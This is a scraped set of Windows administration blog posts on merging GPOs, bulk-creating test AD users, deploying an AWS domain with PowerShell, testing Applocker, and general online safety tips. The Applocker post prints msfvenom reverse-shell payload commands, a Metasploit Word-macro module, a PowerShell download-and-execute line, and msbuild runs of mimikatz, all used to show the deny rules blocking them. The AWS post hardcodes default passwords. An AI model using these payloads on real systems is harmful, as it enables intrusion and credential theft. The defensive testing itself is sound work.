GPCMachineExtensionName attribute with the Client-Side Extension GUID of the areas of the GPO setting for the GPO. If not the settings won't display in the GPO Management tool and the target server won't be able to read the GPO. Set-ADObject -Identity $getGPOPath -Replace @{gPCMachineExtensionNames="[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]"} The Client-Side Extensions GUID can be extracted from Polices, there's no need to try and discover those GUIDS. Set the required policies and copy the GUIDs. The initial scenario of creating Restricted Groups GPO's is complete, with a few alterations, Administrative Template settings could be set by copying Registry.pol into the GPO. A better use would be setting up URAs for service accounts eg SQL and the Logon as a Service right dynamically as part of an automatic installation of Microsoft SQL Server. Enjoy and hope it proves useful and do give it a go prior to paying for a 3rd party tool. The script: https://github.com/Tenaka/GPOs Security Identities: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers Mapping User Rights Assignments: https://www.tenaka.net/post/translate-user-rights-assignments-from-guids-to-group-names

  • How to Merge GPOs with PowerShell

    Tried merging GPOs with PowerShell? It’s not as straightforward as it sounds, PowerShell is really just providing logic around LGPO.exe. Still, the method below does the job of merging disparate GPOs for domain deployment. The whole process can't be fully automated and requires manual intervention. Yep, that dreaded word...."Manual". The Issue: As someone who applies Microsoft's Security GPO baselines in a Domain, it's a little messy importing each of the separate GPO's for Windows, Office and Edge etc. Resulting in multiple Computer and User policies being listed in GPO Management, leading to administrator confusion and even a possible performance hit whilst the client applies those multiple GPO's. What is required is a single Computer or User GPO with all the combined settings. You will require: A non Domain joined Windows client or server for merging of the policies, preferably the same as the GPO's being applied. Download LGPO and PolicyAnalyzer and the latest recommended SCM GPO's from ( here ). A Domain with Domain Admin rights to import the merged policy. To manage Office and Edge GPO's set up a Central Store ( here ) and install the latest admx files on both the Domain Controller and the standalone. If this step is missed the settings will appear as extra registry settings in GPO Management. The script to merge policies ( here ). The Prep:: I'm going all in for the demo and merging Windows 11, Office 365 and Edge policies for both User and Computer. This is not recommended as User and Computer policies should be separated. If you do follow this example link the merged GPO on a Computer OU and then apply the Loopback settings, the user policies will then apply at user logon. Enough waffle... create a folder on the standalone client\server, extract and copy all the GPO's to the folder. Copy both the script and LGPO.exe to the root of that folder. The execution: Execute the script with admin rights either via PowerShell or ISE. The script loops through each of the policy directories LGPO to merge both the User and Computer settings, applying them locally. LGPO then exports the local settings to a GPOBackup directory. Ignore the warnings, it's LGPO throwing its teddy out of the pram. A quick validation of the local policies by filtering 'Configured' policies. The Domain Policy: Copy the merged policy from the MergedGPO directory to the Domain Controller or Management client with 'Group Policy Management' feature installed. Create a new Domain Group Policy, don't link to an OU. Right-click on the new GPO and 'Import Settings'. Warning this will overwrite any existing settings, don't mess this step up. Follow the wizard and select the folder where the merged policies reside. Select the GPO to import. Review the settings and link to the correct OU. Warning, linking the Microsoft recommended policies to any Client, Server or DC will likely result in an outage or services becoming unresponsive, so test first and make any necessary changes. It looks pretty easy and it is.... however.... and this is where a little GPO bravery and the manual intervention kicks in. The Manual Steps: After reviewing the setting you'll notice, LGPO has imported all the Security settings including password and account policies. These are set at the Root of the domain and can't be overridden by placing them at a lower level. From Group Policy Management, select the imported GPO and make a note of the 'Unique ID:' Browse to 'C:\Windows\Sysvol\Domain\Policies' Select the matching 'Unique ID'. Navigate to the 'SecEdit' directory. GptTmpl - Security Settings GptTmpl.inf contains most of the security settings, no Firewall or Applocker policies though. Settings within GptTmpl.inf are the setting that most likely requires removing. There are 2 possible solutions depending on the scenario. If for example only User settings are required.... delete GptTmpl.inf If Password or Account policies aren't required open GptTmpl.inf from an elevated Notepad and remove the excess sections. Registry.pol - Administrative Templates Amending User or Machine Registry.pol files from within isn't so easy and recommend using Group Policy Management as the editor. It is possible to delete the Registry.pol files and this is what I've done. Audit.csv - Advanced Audit Settings Lastly, Advanced Audit settings via the audit.csv file, delete this file as well. The Result: The end result is that all Computer settings are removed, leaving only the User settings. The issue with Client Side Extensions: In some instances during the GPO Policy import, no settings are displayed from within GPO Management. This is due to the GPCMachineExtensionName attribute not writing the correct values at import. In this case, update the GPO values, if Security Options or User Rights Assignments aren't displaying, make changes, apply and revert the change. GPO Management will then successfully display the correct values. If the GPCMachineExtensionName attribute is known the following command can be used. Set-ADObject -Identity $getGPOPath -Replace @{gPCMachineExtensionNames="[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]"}

  • Create 73,000 Test AD User Accounts

    Need to bulk-create Domain Users? This PowerShell script can generate over 73,000 accounts right out of the box. Want more? Just add extra first and last names to the CSV. While 73,000 test accounts should cover more than you’ll ever realistically need, the script can also be tweaked, remove the randomization and it’ll build real users directly from your CSV list. Download the following script (CreateTestUsers.txt) and names.csv and copy them to C:\Downloads Rename the 'CreateTestUsers.txt' to 'CreateTestUsers.ps1', open in PowerShell_ISE and update the domain specific entries. Run the script and enter the number of accounts required. During testing the higher the percentage of maximum accounts the slower the script runs, it struggles to make unique names. The accounts create have their Profile and Home shares, Group Membership Each account created has a random 14-character password that is outputted at the end to C:\Downloads\results.txt Here's the script... #Get OU for users import-module ActiveDirectory #Get Targetted OU $orgOU = Get-ADOrganizationalUnit "ou=Test Users,ou=Org,dc=sh,dc=loc" $orgOU.distinguishedname #set password length $length = "14" #Outs the account and password created $results = "C:\Downloads\results.txt" #Declares Inheritance $inherNone = [System.Security.AccessControl.InheritanceFlags]::None $propNone = [System.Security.AccessControl.PropagationFlags]::None $inherCnIn = [System.Security.AccessControl.InheritanceFlags]::ContainerInherit $propInOn = [System.Security.AccessControl.PropagationFlags]::InheritOnly $inherObIn = [System.Security.AccessControl.InheritanceFlags]::ObjectInherit $propNoPr = [System.Security.AccessControl.PropagationFlags]::NoPropagateInherit #current number of users in OU $aduE = get-aduser -filter {samaccountname -like "*"} -SearchBase $orgOU $existing = $aduE.count #Import list of first and surnames $Names = "C:\Downloads\names.csv" #Imports and works out max possible users that can be created $impName = Import-Csv -path $Names $FNCT = ($impName.firstname | where {$_.trim() -ne ""}).count $SNCT = ($impName.surname | Where {$_.trim() -ne ""}).count $maxUN = $FNCT * $SNCT $total = ($maxUn.ToString()) -10 do {$enter = ([int]$NOS = (read-host "Max User accounts is "$total", how many do you need")) } until ($nos -le $total) $UserLists=@{} #Randomises first and surnames do { $FName = ($impName.firstname | where {$_.trim() -ne ""})|sort {get-random} | select -First 1 $SName = ($impName.surname | Where {$_.trim() -ne ""}) |sort {get-random} | select -First 1 $UserIDs = $Fname + "." + $Sname try {$UserLists.add($UserIds,$UserIDs)} catch {} $UserIDs = $null Write-Host $UserLists.count } until ($UserLists.count -eq $nos) $UserLists.count $userlists.GetEnumerator() $UserLists.key $ADUs = $UserLists.values Foreach ($ADu in $ADus) { #Set var for random passwords $Assembly = Add-Type -AssemblyName System.Web $RandomComplexPassword = [System.Web.Security.Membership]::GeneratePassword($Length,4) Foreach ($pwd in $RandomComplexPassword) { #Splits username to be used to create first and surname $ADComp = get-aduser -filter {samaccountname -eq $ADU} $spUse = $ADu.Split('.') $firstNe = $spUse[0] $surNe = $spUse[1] $pwSec = ConvertTo-SecureString "$pwd" -AsPlainText -Force #Creates user accounts if ($ADComp -eq $null) { New-aduser -Name "$ADU" ` -SamAccountName "$ADU" ` -AccountPassword $pwSec ` -GivenName "$firstNe" ` -Surname "$surNe" ` -Displayname "$FnS" ` -Description "TEST $ADu" ` -Path $orgOU ` -Enable $true ` -ProfilePath "\\shdc1\Profiles$\$ADU" ` -HomeDirectory "\\shdc1\Home$\$ADU" ` -HomeDrive "H:" ` #Creates Home Directory and Sets permissions New-Item "\\shdc1\Home$\$ADU" -ItemType Directory -force $gADU = Get-ADUser $ADU $H = "\\shdc1\Home$\$ADU" $getAcl = Get-Acl $H $fileAcc = New-Object System.Security.AccessControl.FileSystemAccessRule($gADU.sid, "MODIFY", "$inherCnIn,$inherObIn", "None", "Allow") $getacl.setAccessRule($fileAcc) Set-Acl $H $getacl #Add Group membership Add-ADGroupMember -Identity "DFSAccess"-Members $ADU #Outs results to Results file $adu | out-file $results -Append $pwd | out-file $results -Append " " | out-file $results -Append } else {"nope exists "} Write-host $ADU } } # Total users in OU $aduC = get-aduser -filter {samaccountname -like "*"} -SearchBase $orgOU $TotalU = $aduC.count #Total users created Write-host "Total New Users" $TotalU - $existing

  • Deploying Windows Domains as an EC2 Instance with PowerShell - Part 2

    Welcome to Part 2! Let's take a deep dive into the specifics of what the DeployVPCwithDomain.ps1 script creates in AWS. Here's a quick recap, a public-facing Remote Desktop Server (RDS) and a private Domain Controller (DC) will be deployed into AWS with all the required AWS infrastructure and services using PowerShell. If you haven't read Part 1, I strongly suggest you do and ensure all the prerequisites are fulfilled, otherwise, it's likely to get messy. To reiterate, deploying this will incur AWS costs, the instance type is t3.medium and the volume is set to $ebsVolType = "io1" and $ebsIops = 1000 Prerequisites PowerShell version 7 or Visual Code Studio is required An AWS Account and its corresponding Access ID and Secret Key. The AWS account requires the AdministratorAccess' role or delegated permissions. A basic understanding of both AWS and Windows Domains This blog will focus on the execution of the script and the provisioning of the AWS services, including the configuration of the VPC, subnets, and security groups and the deployment of EC2 instances. You’ll also see how the script sets up a fully functional Active Directory environment, complete with a domain controller, OU, Delegation and GPO configuration. Let's Get Started! Let's begin by loading DeployVPCwithDomain.ps1 in Visual Studio Code with elevated rights. I normally 'Ctrl + A' and then press F8 to execute the script, equally F5 works. The script starts by installing the necessary AWS PowerShell modules from PowerShell Gallery. Loading the modules can be problematic. If any of the modules fail, the script should catch the error. I suggest closing VSC, deleting the modules from "C:\Users\%username%\Documents\PowerShell\Modules\", and then restart the script from VCS. Access Key and Secret Access Key Enter both the Access Key and Secret Key created for the service account. Regions The script sets the default AWS region using `Set-defaultAWSRegion -Region $region1`, and this region is also hardcoded in the userdata script for both S3 and EC2 instances. $region1 = "us-east-1" # this is hardcoded in the ec2 userdata script Set-defaultAWSRegion -Region $region1 VPC The VPC is configured with the following CIDR block: `$cidr = "10.1.1"` and `$cidrFull = "$($cidr).0/24"`. This CIDR block specifies the VPC's address range, providing 254 usable IP addresses. $cidr = "10.1.1" $cidrFull = "$($cidr).0/24" $newVPC = New-EC2vpc -CidrBlock "$cidrFull" $vpcID = $newVPC.VpcId Subnets Two subnets, each with 30 usable addresses will be created from the VPC: one for public access and one for private use. $Ec2subnetPub = New-EC2Subnet -CidrBlock "$($cidr).0/27" -VpcId $vpcID $Ec2subnetPriv = new-EC2Subnet -CidrBlock "$($cidr).32/27" -VpcId $vpcID Internet Gateway An Internet Gateway enables communication between your VPC and the Internet by acting as a bridge, allowing instances within your VPC to send and receive traffic from the Internet. $Ec2InternetGateway = New-EC2InternetGateway $InterGatewayID = $Ec2InternetGateway.InternetGatewayId Add-EC2InternetGateway -InternetGatewayId $InterGatewayID -VpcId $vpcID Public and Private Route Tables To enable internet access for your VPC's public subnet, you'll need to create a route table and configure it to direct traffic to the Internet Gateway. $Ec2RouteTablePub = New-EC2RouteTable -VpcId $vpcID New-EC2Route -RouteTableId $Ec2RouteTablePub.RouteTableId -DestinationCidrBlock "0.0.0.0/0" -GatewayId $InterGatewayID Register-EC2RouteTable -RouteTableId $Ec2RouteTablePubID -SubnetId $SubPubID Public IP `Invoke-WebRequest`, fetches your public IP address by querying ` ifconfig.me/ip` . If the request fails or returns an empty value, it defaults to "10.10.10.10". $whatsMyIP = (Invoke-WebRequest ifconfig.me/ip).Content.Trim() if ([string]::IsNullOrWhiteSpace($whatsMyIP) -eq $true){$whatsMyIP = "10.10.10.10"} If the Jump box becomes inaccessible and unless your public IP is static, it's likely to change, making it necessary to update the public security group. Security Groups This script creates 2 security groups within a specified VPC. The PublicSubnet security group to manages traffic rules for public subnet instances. $SecurityGroupPub = New-EC2SecurityGroup -Description "Public Security Group" -GroupName "PublicSubnet" -VpcId $vpcID -Force -errorAction Stop The script defines inbound and outbound rules for a security group. # Inbound Rules $InTCPWhatmyIP3389 = @{IpProtocol="tcp"; FromPort="3389"; ToPort="3389"; IpRanges="$($whatsMyIP)/32"} # Outbound Rules $EgAllCidr = @{IpProtocol="-1"; FromPort="-1"; ToPort="-1"; IpRanges=$cidrFull} `Grant-EC2SecurityGroupIngress applies inbound rules to the defined security group. Grant-EC2SecurityGroupIngress -GroupId $SecurityGroupPub -IpPermission @($InTCPWhatmyIP3389) S3 Bucket An S3 bucket is created to host the AD script. $news3Bucket = New-S3Bucket -BucketName "auto-domain-create-$($dateTodayMinutes)" $s3BucketName = $news3Bucket.BucketName $S3BucketARN = "arn:aws:s3:::$($s3BucketName)" $s3Url = "https://$($s3BucketName).s3.amazonaws.com/Domain/" S3 Bucket Access To grant EC2 instance access to the S3 bucket for running the AD script, a new IAM user is created. $s3User = "DomainCtrl-S3-READ" $newIAMS3Read = New-IAMUser -UserName $s3User A new access key for the specified IAM user is generated and written into the UserData allowing the EC2 instance access to securely authenticate and access the S3 bucket. $newIAMAccKey = New-IAMAccessKey -UserName $newIAMS3Read.UserName $iamS3AccessID = $newIAMAccKey.AccessKeyId $iamS3AccessKey = $newIAMAccKey.SecretAccessKey The following IAM Group is created and the IAM user added to the group. $s3Group = 'S3-AWS-DC' New-IAMGroup -GroupName 'S3-AWS-DC' Add-IAMUserToGroup -GroupName $s3Group -UserName $s3User The policy for read access to the S3 bucket is defined. $s3Policy = @' { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:Get*", "s3:List*", "s3:Describe*" ], "Resource": "*" } ] } '@ The IAM policy is created and added to the above group. $iamNewS3ReadPolicy = New-IAMPolicy -PolicyName 'S3-DC-Read' -Description 'Read S3 from DC' -PolicyDocument $s3Policy Register-IAMGroupPolicy -GroupName $s3Group -PolicyArn $iamNewS3ReadPolicy.Arn VPC Endpoint A VPC endpoint, which allows resources within your VPC to privately connect to AWS services without needing an internet gateway is created to allow the Private EC2 instance to access the S3 Bucket. $newEnpointS3 = New-EC2VpcEndpoint -ServiceName "com.amazonaws.us-east-1.s3" -VpcEndpointType Gateway -VpcId $vpcID -RouteTableId $Ec2RouteTablePubID, $Ec2RouteTablePrivID UserData Scripts EC2 Userdata provides commands automatically to the instance at its initial launch and at first boot. In this case, the PowerShell script changes the default AWS assigned password to 'ChangeMe1234' and renames the EC2 instance to JUMPBOX1 for the Public instance. $RDPScript = ' Set-LocalUser -Name "administrator" -Password (ConvertTo-SecureString -AsPlainText ChangeMe1234 -Force) Rename-Computer -NewName "JUMPBOX1" shutdown /r /t 10 ' The PowerShell script for EC2 instance Userdata is encoded in Base64 because AWS requires userdata to be in this format. $RDPUserData = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($RDPScript)) EC2 Encrypted Volumes EC2 encrypted volumes use AWS Key Management Service (KMS) to automatically encrypt data at rest, in transit between the instance and the volume, and during snapshots. This ensures that all data on the volume is securely protected, with encryption keys managed by AWS. To enable EC2 encrypted volumes, KMS permissions must be granted in IAM, and the following values will be specified. $ebsVolType = "io1" $ebsIops = 2000 $ebsTrue = $true $ebsFalse = $false $ebskmsKeyArn = $newKMSKey.Arn $ebsVolSize = 50 $blockDeviceMapping = New-Object Amazon.EC2.Model.BlockDeviceMapping $blockDeviceMapping.DeviceName = "/dev/sda1" $blockDeviceMapping.Ebs = New-Object Amazon.EC2.Model.EbsBlockDevice $blockDeviceMapping.Ebs.DeleteOnTermination = $enc $blockDeviceMapping.Ebs.Iops = $ebsIops $blockDeviceMapping.Ebs.KmsKeyId = $ebsKmsKeyArn $blockDeviceMapping.Ebs.Encrypted = $ebsTrue $blockDeviceMapping.Ebs.VolumeSize = $ebsVolSize $blockDeviceMapping.Ebs.VolumeType = $ebsVolType Additional help can be found @ https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2/image/block_device_mappings.html EC2 Instance Attributes The New-EC2Instance command and the following configuration parameters are declared to deploy and manage the EC2 instances in AWS. $new2022InstancePub = New-EC2Instance ` -ImageId $gtSrv2022AMI.value ` -MinCount 1 -MaxCount 1 ` -KeyName $newKeyPair.KeyName ` -SecurityGroupId $SecurityGroupPub ` -InstanceType t3.medium ` -SubnetId $SubPubID ` -UserData $RDPUserData ` -BlockDeviceMapping $blockDeviceMapping Accessing the Jump Box The public RDP jump box, accessible only from your public IP, will launch quickly. Retrieve the instance's public IP from the AWS EC2 page, type 'mstsc' at the Run command, and enter the IP. Be sure to wait for the instance to fully initialize before connecting. Enter 'Administrator' and the password 'ChangeMe1234', once logged on, change the password to something more secure. Accessing the Domain Controller The Domain Controller will take some time to deploy, even after it shows as Running on the EC2 page. It undergoes a few reboots and runs scripts to install AD roles, create an OU structure, delegate access, and set up the GPOs. It's a good time to grab a coffee and take a 10-minute break. Once you've finished your coffee, retrieve the Domain Controller's private IP, based on the VPC Private Subnet, from within the AWS EC2 page. Then, from within the Jump box, launch 'mstsc' and enter the Domain Controller's IP. The FQDN for the domain is 'testdom.loc'. Enter 'Administrator' and the password 'ChangeMe1234'. To update the password, open 'Active Directory Users and Computers', find the 'Administrator' account, and reset the password. OU Structure A comprehensive OU structure with GPOs, URA, and Restricted and Nested Groups is deployed in a tiered model. It's too involved to cover here, but a full description can be found @ https://www.tenaka.net/post/deploy-domain-with-powershell-and-json-part-2-ou-delegation JSON The script deployed for AWS is a slightly modified version of the original. Similarly, it is tied to the hostname of the Domain Controller, which is hardcoded as 'AWSDC01' in both the UserData and the JSON file. The other modification involves the IP address. The IP section in the JSON file is ignored, with the Domain Controller being statically assigned the IP provided by AWS's DHCP server. { "FirstDC": { "PDCName":"AWSDC01", "PDCRole":"true", "IPAddress":"10.0.2.69", "Subnet":"255.255.255.0", "DefaultGateway":"10.0.2.1", "CreateDnsDelegation":"false", "DatabasePath":"c:\\Windows\\NTDS", "DomainMode":"WinThreshold", "DomainName":"testdom.loc", "DomainNetbiosName":"TESTDOM", "ForestMode":"WinThreshold", "InstallDns":"true", "LogPath":"c:\\Windows\\NTDS", "NoRebootOnCompletion":"false", "SysvolPath":"c:\\Windows\\SYSVOL", "Force":"true", "DRSM":"Recovery1234", "DomAcct":"Administrator", "DomPwd":"ChangeMe1234", "PromptPw":"false" }, Finally..... These two posts only scratch the surface of deploying Active Directory on AWS with PowerShell. Additional AD Sites, VPN's, AWS Transit Gateways and AD integration into AWS are some of the topics I hope to cover in the future. For now, thank you for taking the time to read my blog; I truly appreciate it. I hope you found it useful.

  • Applocker - Are Publisher Rules Necessary

    This is a supplement to the Applocker vs Malware article that you should read first @ https://www.tenaka.net/applocker-vs-malware I've comprehensively covered Applocker and its 'features' on this site from click-bait prevention with an out-of-the-box configuration to hardening Applocker to protect the protector from being circumvented. The latter's policy is a combination of Publisher, hash, file and folder approvals and denials. Before I start, the following is not recommended, this is for exploratory testing and proof of concept of Applocker's behaviour. Does Applokcer require all those Publisher approvals? Can the system be protected with only file and folder approvals and denies? Previous - Applocker vs Malware The client is Windows 11 Enterprise x64 with no AV protection and all tests will be executed as the user, unless specified. The Policy - Approvals Applocker will be configured with the following approval policy: EXEs, MSIs, Scripts and DLLs are configured to approve any file in %ProgramFile% and %WinDir%, similar to the default rules. The Policy - Denies Protection relies solely on preventing any bypass or escalation of code, denying any directory the user has 'Write' permission for EXEs, MSIs, Scripts and DLLs. The following directory list is dynamic and changes with different installed languages. Download and run my Security Validation script ( here ) when non-US languages are installed. C:\Windows\System32\LogFiles\WMI C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\Tasks C:\Windows\System32\Tasks\Microsoft\Windows\RemoteApp and Desktop Connections Update C:\Windows\SysWOW64\Tasks C:\Windows\SysWOW64\Tasks\Microsoft\Windows\RemoteApp and Desktop Connections Update C:\Windows\tracing C:\Windows\PLA\Reports C:\Windows\PLA\Reports\en-US C:\Windows\PLA\Rules C:\Windows\PLA\Rules\en-US C:\Windows\PLA\Templates C:\Windows\Registration\CRMLog C:\Windows\servicing\Packages C:\Windows\servicing\Sessions C:\Windows\System32\Com\dmp C:\Windows\System32\spool\drivers\color C:\Windows\System32\spool\PRINTERS C:\Windows\System32\spool\SERVERS C:\Windows\System32\Tasks\Microsoft\Windows\PLA C:\Windows\System32\Tasks\Microsoft\Windows\PLA\System C:\Windows\SysWOW64\Com\dmp C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System C:\Windows\Tasks C:\Windows\Temp C:\Users C:\ProgramData To prevent Living off the Land by Microsofts signed programs I'm following Microsofts recommended deny list ( here ) as a baseline. I've added a few more to my list as part of an automated Applocker script to protect the system from various attacks ( here ). The final config should look something like this. The Rematch Simple, generate reverse shells with MSFVenom and execute whilst trying to bypass Applocker. EXE Generate an exe with the following command. Password1234msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f exe -o /home/user/Malware/rev1.0.exe Execution is prevented by denying C:\Users\* HTA Generate a HTML Application Payload (HTA) with the following: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f hta-psh -o /home/user/Malware/rev1.0.hta Execute the following command after downloading the .hta file to the local system. mshta.exe C:\users\user\download\rev1.0.hta Execution is prevented by denying mshta.exe, a signed Microsoft program. Word Macro The following MSFConsole command generates a reverse shell for Microsoft Word. ​ use exploit/multi/fileformat/office_word_macro set TARGET 0 set lhost 10.0.0.1 set lport 8888 The Word Macro unpacks to an .exe, it's prevented from executing by denying execution within C:\Users\ Powershell Generate a reverse shell PS1 script with the following command. msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f ps1 -o /home/user/Malware/rev1.0.ps1 Execution is prevented by denying C:\Users\* Powershell Web Local PowerShell scripts are blocked, what of remote calls that load into memory!! ​ powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘ https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1’);Invoke-AllChecks” ​ powershell -ExecutionPolicy Bypass -Command "[scriptblock]::Create((Invoke-WebRequest " https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1" -UseBasicParsing).Content).Invoke();" Constrained Language mode is still protecting the system. DLL The following command creates a DLL reverse shell. ​ msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f dll -o /home/user/Malware/rev1.1.dll ​ Download and execute the following commands from the Windows client. ​ copy rev1.1.dll C:\Windows\Temp rundll32.exe C:\Windows\Temp\rev1.1.dll,0 Execution is prevented by denying directories, in this case, C:\Windows\Temp, where the users can 'Write' and would have been an authorised path. Reverse Shell and MimiKatz as XML The following command generates an XML reverse shell. msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f csharp -o /home/user/Malware/rev1.5.xml cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 Execute the following commands. msbuild.exe C:\users\admin\downloads\mimikatz.xml msbuild.exe C:\users\admin\downloads\rev1.5.xml Execution is prevented by denying msbuild.exe, a signed Microsoft program. Standing Eight Count Keeping with the boxing analogy for Applocker verses, I hope 'Standing Eight Count' is appropriate. A correctly implemented Applocker policy as described above does prevent various types of malware from execution under the user context. Execution is constrained to authorised named directories, 'Program Files' and 'Windows'. Directories that allow the user to 'Write' deny any type of execution. Is this approach recommended? No, the chances of maintaining the perfect deny policy is slim in the real real-world. Any exception to the deny ruleset leaves the system open to bypassing Applocker without any Publisher rules to fall back on. Finally, I did this to better understand Applocker's behaviour, not as a serious method to implement. It does validate the benefits of configuring a deny policy.

  • Staying Safe on the Internet: Essential Tips for Protecting Yourself Online

    These days, the Internet is such a big part of our daily lives. Whether we’re banking, chatting with friends, shopping, or learning something new, we’re always online. While it opens up a world of possibilities, it also comes with risks to our personal info, privacy, and security. As cyber threats keep evolving, it’s more important than ever to know how to stay safe online. Let’s go over a few simple tips to help you protect yourself while navigating the Internet. Use Strong, Unique Passwords Your password is your first line of defense against unauthorized access. Make sure it’s strong and unique. A good password should conform to the following: Reusing passwords or partial passwords across multiple accounts can put you at significant risk. When a company or service is hacked, user data, including usernames and passwords, can be stolen. These credentials are often sold or shared on the dark web or hacker forums. Even if only one account is compromised, reusing the same password across different accounts can have a ripple effect. Be at least 12 characters long, mine are at least 20. Include a mix of uppercase and lowercase letters, numbers, and symbols. Avoid easily guessable words like "password" or personal information such as your name or birthday. Change your passwords every 6 to 12 months. Tip: Consider using a password manager to store and generate secure passwords. Enable Two-Factor Authentication (2FA) Two-factor authentication adds an extra layer of security by requiring a second form of verification in addition to your password. This could be a code sent to your phone, a fingerprint, or facial recognition. Even if someone has your password, they won’t be able to access your account without the second factor. Tip: Use the Google Authenticator App Keep Software and Devices Updated Cybercriminals often exploit vulnerabilities in outdated software to gain access to your devices. Regularly updating your operating system, apps, and antivirus software helps protect against these vulnerabilities. Enable automatic updates on your devices to ensure you always have the latest security patches. Remove infrequently or unused Apps from your phone. Be Smart with Downloads Downloading software or files from untrusted websites can expose your device to malware. Only download apps from official stores (such as Google Play or the Apple App Store) and avoid pirated content. Malware can steal sensitive information or even hold your device hostage (ransomware). Tip: Ensure all devices have Anti-Virus Software. Be Cautious with Public Wi-Fi Public Wi-Fi networks, like those in cafes or airports, can be convenient but risky. Hackers can intercept your data if you’re not careful. Avoid accessing sensitive accounts (such as banking or email) over public Wi-Fi without using a virtual private network (VPN). A VPN encrypts your data and adds an extra layer of protection. Beware of Phishing Scams Phishing scams are attempts by cybercriminals to trick you into revealing personal information by pretending to be someone trustworthy, such as a bank or a colleague. These scams often come in the form of emails or text messages that contain malicious links or attachments. How to Avoid Phishing Don’t click on links or download attachments from unknown senders. Verify the sender’s email address and look for suspicious grammar or spelling errors. If you receive a suspicious email from a legitimate organization, contact them directly using verified contact information. Use Privacy Settings On social media platforms and other online services, take the time to review and adjust your privacy settings. Limit the amount of personal information you share publicly, and ensure that only trusted individuals can view your private details. Many websites and apps track your online activity, so disabling tracking features can improve your privacy. Secure Your Home Wi-Fi Network Your home Wi-Fi network is the gateway to all of your internet-connected devices. To protect it: Change the default router password to something strong and unique. Use WPA3 or WPA2 encryption. Hide your network by disabling SSID broadcasting. Enable a guest network for visitors, so they don’t have access to your main devices. Monitor Your Online Accounts Regularly monitoring your accounts can help you spot suspicious activity early. Many online services offer notifications for unusual activity, such as login attempts from unknown devices. If you notice anything out of the ordinary, change your password immediately and report the issue to the service provider. Tip: Set up account activity alerts where possible to stay informed of any unusual actions. Educate Yourself The digital world is constantly evolving, and so are the threats. Staying informed about the latest online security trends can help you avoid falling victim to new scams or vulnerabilities. Follow trusted security blogs, attend webinars, and consider taking online courses to enhance your knowledge of cybersecurity. Conclusion By practicing these habits, you can significantly reduce the risk of falling victim to cyber-attacks. Staying safe on the internet requires vigilance, but by taking the right precautions, you can enjoy the benefits of the digital world with peace of mind. Protect your personal information, stay alert to potential threats, and always prioritize your online safety.

bottom of page